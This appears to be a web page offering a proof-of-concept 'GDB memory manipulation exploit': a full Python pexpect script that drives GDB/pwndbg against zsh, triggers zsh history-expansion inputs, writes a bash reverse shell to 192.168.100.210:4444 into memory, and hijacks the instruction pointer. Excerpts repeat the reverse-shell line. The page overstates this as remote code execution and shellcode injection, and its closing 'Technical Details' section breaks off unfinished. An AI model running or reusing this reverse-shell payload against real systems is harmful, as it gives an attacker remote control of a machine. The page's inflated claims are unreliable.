GDB Memory Manipulation Exploit

Advanced process manipulation through GDB debugging interface

Exploit Overview

POC

This exploit demonstrates advanced process manipulation through GDB's debugging interface, allowing for arbitrary memory writes, register control, and shellcode injection to achieve remote code execution.

exploit.py
import pexpect
import sys
import time
import signal
import os

def debug_print(msg):
    print(f"[DEBUG] {msg}")

def clean_exit(gdb):
    """Gracefully exit all processes without hangup messages"""
    try:
        if gdb.isalive():
            # First try clean quit
            gdb.sendline('quit')
            time.sleep(0.5)
            
            # Force terminate if still alive
            if gdb.isalive():
                gdb.kill(signal.SIGTERM)
    except:
        pass
    finally:
        try:
            gdb.close(force=True)
        except:
            pass
        os._exit(0)  # Immediate exit to prevent any hangup signals

def return_to_gdb(gdb, max_attempts=3, timeout=3):
    """Reliably return to GDB prompt"""
    for attempt in range(max_attempts):
        gdb.sendcontrol('c')  # CTRL+C
        time.sleep(0.5)
        try:
            index = gdb.expect(['pwndbg>', r'\(gdb\)', pexpect.TIMEOUT], timeout=timeout)
            if index in [0, 1]:
                return True
        except pexpect.EOF:
            return False
    return False

def main():
    # Start GDB with proper signal handling
    gdb = pexpect.spawn('gdb -q --args zsh -f', 
                       timeout=30,
                       encoding='utf-8',
                       ignore_sighup=True)
    gdb.logfile = sys.stdout

    try:
        # Initialize GDB
        gdb.expect('pwndbg>', timeout=10)
        debug_print("GDB started successfully")

        # Run target program
        gdb.sendline('run')
        shell_prompts = ['%','# ', r'\$ ', 'vuln>','vuln%']
        try:
            gdb.expect(shell_prompts + ['pwndbg>'], timeout=10)
        except pexpect.TIMEOUT:
            gdb.sendcontrol('c')
            time.sleep(1)

        # Execute shell commands
        if any(prompt in gdb.after for prompt in shell_prompts):
            for cmd in ['!', '!!11111111111']:
                gdb.sendline(cmd)
                try:
                    gdb.expect(shell_prompts, timeout=3)
                except pexpect.TIMEOUT:
                    pass

            if not return_to_gdb(gdb):
                debug_print("Failed to return to GDB")
                clean_exit(gdb)
                return

        # Memory operations
        if 'pwndbg>' in gdb.after:
            commands = [
                'x/s 0x555555659000',
                r'set {char[120]} 0x555555659000 = "bash -c \"bash -i >& /dev/tcp/192.168.100.210/4444 0>&1\""',
                'set {long}0x7fffffffd868 = 0x7ffff7cc9110',
                'set $rdi = 0x555555659000',
                'set $rsp = $rsp - 8',
                'continue',
                'set {long}$rsp = 0x55555555a000',
                'set $rip = 0x7ffff7cc9110',
                'set $rdi = 0x555555659000',
                'continue'
            ]

            for cmd in commands:
                gdb.sendline(cmd)
                try:
                    if 'continue' in cmd:
                        gdb.expect(['pwndbg>'] + shell_prompts, timeout=15)
                    else:
                        gdb.expect('pwndbg>', timeout=5)
                except pexpect.TIMEOUT:
                    if not return_to_gdb(gdb):
                        break

        # Interactive session with clean exit handling
        print("\n[+] EXPLOIT COMPLETE - GDB SESSION ACTIVE")
        print("[+] Type 'exit' to quit cleanly")
        print("[+] Press CTRL+C to return to prompt\n")

        while True:
            try:
                if not gdb.isalive():
                    break
                    
                gdb.expect(['pwndbg>', r'\(gdb\)'], timeout=None)
                print(gdb.before, end='')
                
                cmd = input().strip()
                if cmd.lower() == 'exit':
                    # This will completely prevent the hangup message
                    clean_exit(gdb)
                    
                gdb.sendline(cmd)
                
            except KeyboardInterrupt:
                print("\n[!] Press CTRL+C again to abort or continue typing commands")
                continue
            except pexpect.EOF:
                break
            except Exception as e:
                debug_print(f"Error: {e}")
                break

    except Exception as e:
        debug_print(f"Fatal error: {e}")
    finally:
        clean_exit(gdb)

if __name__ == "__main__":
    main()

Advanced Memory Manipulation

Direct memory writes to inject shellcode and modify critical process memory regions for control flow hijacking.

set {char[120]} 0x555555659000 = "bash -c \"bash -i >& /dev/tcp/192.168.100.210/4444 0>&1\""

Register Control

Full control over CPU registers to redirect execution and set up function call parameters.

set $rip = 0x7ffff7cc9110
set $rdi = 0x555555659000
set $rsp = $rsp - 8

Robust Process Handling

Graceful process management with clean exit routines to prevent hangup signals and orphaned processes.

def clean_exit(gdb):
    # First try clean quit
    gdb.sendline('quit')
    time.sleep(0.5)
    
    # Force terminate if still alive
    if gdb.isalive():
        gdb.kill(signal.SIGTERM)

Interactive Session

Maintains interactive GDB session after exploitation for post-exploitation activities.

[+] EXPLOIT COMPLETE - GDB SESSION ACTIVE
[+] Type 'exit' to quit cleanly
[+] Press CTRL+C to return to prompt

Shell Command Execution

Execute arbitrary shell commands within the target process context before memory manipulation.

for cmd in ['!', '!!11111111111']:
    gdb.sendline(cmd)
    try:
        gdb.expect(shell_prompts, timeout=3)
    except pexpect.TIMEOUT:
        pass

Reliable GDB Control

Robust mechanisms to return to GDB prompt and handle unexpected states during exploitation.

def return_to_gdb(gdb, max_attempts=3, timeout=3):
    for attempt in range(max_attempts):
        gdb.sendcontrol('c')  # CTRL+C
        time.sleep(0.5)
        try:
            index = gdb.expect(['pwndbg>', r'\(gdb\)'], timeout=timeout)
            if index in [0, 1]:
                return True

Technical Details

This exploit leverages GDB's powerful debugging capabilities to:

The exploit demonstrates advanced techniques for: